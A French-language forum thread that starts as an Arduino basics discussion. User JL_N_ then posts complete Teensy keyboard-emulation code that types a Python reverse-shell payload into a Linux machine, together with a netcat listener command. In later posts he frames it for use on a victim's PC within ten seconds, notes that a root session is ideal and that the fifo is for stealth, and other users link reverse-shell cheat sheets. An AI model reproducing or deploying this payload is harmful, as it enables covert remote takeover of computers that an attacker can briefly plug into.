[Arduino] Les bases

[Zen]

Salut j'ajoute a ton poste ce pdf super interressant croyez-moi
edit:https://www.dropbox.com/s/b3437b5hnjq6oq...mation.pdf

[Machin]

Salut j'ajoute a ton poste ce pdf super interressant croyez-moi
https://dl-web.dropbox.com/get/zen/51560...6b3eZWtg8w

Erreur 403, on ne peut pas le recup

[titi951]

Ce PDF est issu d'un tutoriel du site du zéro, Zen, il me semble.
Si c'est le cas, vous pouvez le consulter sur ce site.

Sinon, je fait de la prog' Arduino depuis 1 mois, et je suis plutôt content des possibilités.
Même sans Shields.

PS : Désolé du UP.

[JL_N_]

Je partage un code pour arduino.

J'ai programmé ceci sur un teensy 3.0 mais il est également fonctionnel pour un teensy 2.0 2.0++.

Ce code est un reverse shell (en python, mais vous pouvez l'adapter à vos besoins) http://pentestmonkey.net/cheat-sheet/she...heat-sheet.

Pour le tester :

nc -l 11000 -vvv

Changer l'ip (127.0.0.1)
Compiler
Uploader
Puis insérer le teensy dans la machine. Un shell apparait sur la machine qui était en écoute.

Code :

#define ATTACK_PAYLOAD "/bin/sh -c \"rm fifo;mkfifo fifo; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"127.0.0.1\\\",11000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\\"/bin/sh\\\"]);' <fifo|bash > fifo & \""

void setup() {
    delay(10000);
    launch_exec(ATTACK_PAYLOAD);
}

void loop() {
    
}

void launch_exec(char *cmd){
  Keyboard.set_modifier(MODIFIERKEY_ALT);
  Keyboard.set_key1(KEY_F2);
  Keyboard.send_now();

  Keyboard.set_modifier(0);
  Keyboard.set_key1(0);
  Keyboard.send_now();

  delay(1500);
  
  Keyboard.print(cmd);
  Keyboard.set_key1(KEY_ENTER);
  Keyboard.send_now();

  Keyboard.set_key1(0);
  Keyboard.send_now();
}

Enjoy

[Kiwazaru]

JL_N_: Je comprends pas bien le but de ton code, tu pourrais expliquer un peu plus ?

[JL_N_]

@Reverse: Le teensy permet d'envoyer des commandes automatiquement comme si un utilisateur tapait sur son clavier. De ce fait lorsque je branche le teensy sur le pc de la victime une série de commande est envoyée automatiquement ( pratique quand tu as 10 sec seulement ).

Je t'invite a réalise cette manipulation sous linux , c'est ce qui est réalisé par le petit bout de code ci-dessus:
- Lance dans un terminal nc -l 11000 -vvv
- tape ALT + F2
- Entre ceci /bin/sh -c "rm fifo;mkfifo fifo; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connec​t((\"127.0.0.1\",11000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\"]);' <fifo|bash > fifo & "
- Revient dans le premier terminal et tape ls ~ (tu as un shell sur la victime, ici toi même, mais ça marche en réseau )

Libre à toi de faire ce que tu veux ensuite, le top est si il a branché le teensy et qu'il était logger en tant que root
A noter: que le payload est en python parce que mon collègue avait pas netcat -_-
Le "fifo" est pour la furtivité (lancement d'un process en tâche de fond). On peut imaginer pleins de techniques ici (rootkit ...)

[Creepy_p0ney]

Il y avait un article similaire sur korben ya pas longtemps, une clé USB en forme de canard qui se fait passer pour un clavier http://n-pn.fr/forum/showthread.php?tid=3362

[JL_N_]

@Creepy_p0ney : Oui, c'est exactement sa

Pour information ça coute 29$ avec frais de port. Et ca se prend en main en 3h00 - 4h00.
http://www.pjrc.com/teensy/

[Kiwazaru]

Donc si je pige bien, tu fou ça sur un PC et ensuite tu peux y avoir accès via un autre pc sur le réseau c'est ça?

[Loup]

Donc si je pige bien, tu fou ça sur un PC et ensuite tu peux y avoir accès via un autre pc sur le réseau c'est ça?

Oui c'est le principe d'un reverse shell:
http://www.asafety.fr/vuln-exploit-poc/p...ne/#Python

Après tu n'es pas obligé d'être sur le réseau local mais ça devient tout de suite plus difficile (edit: ou pas)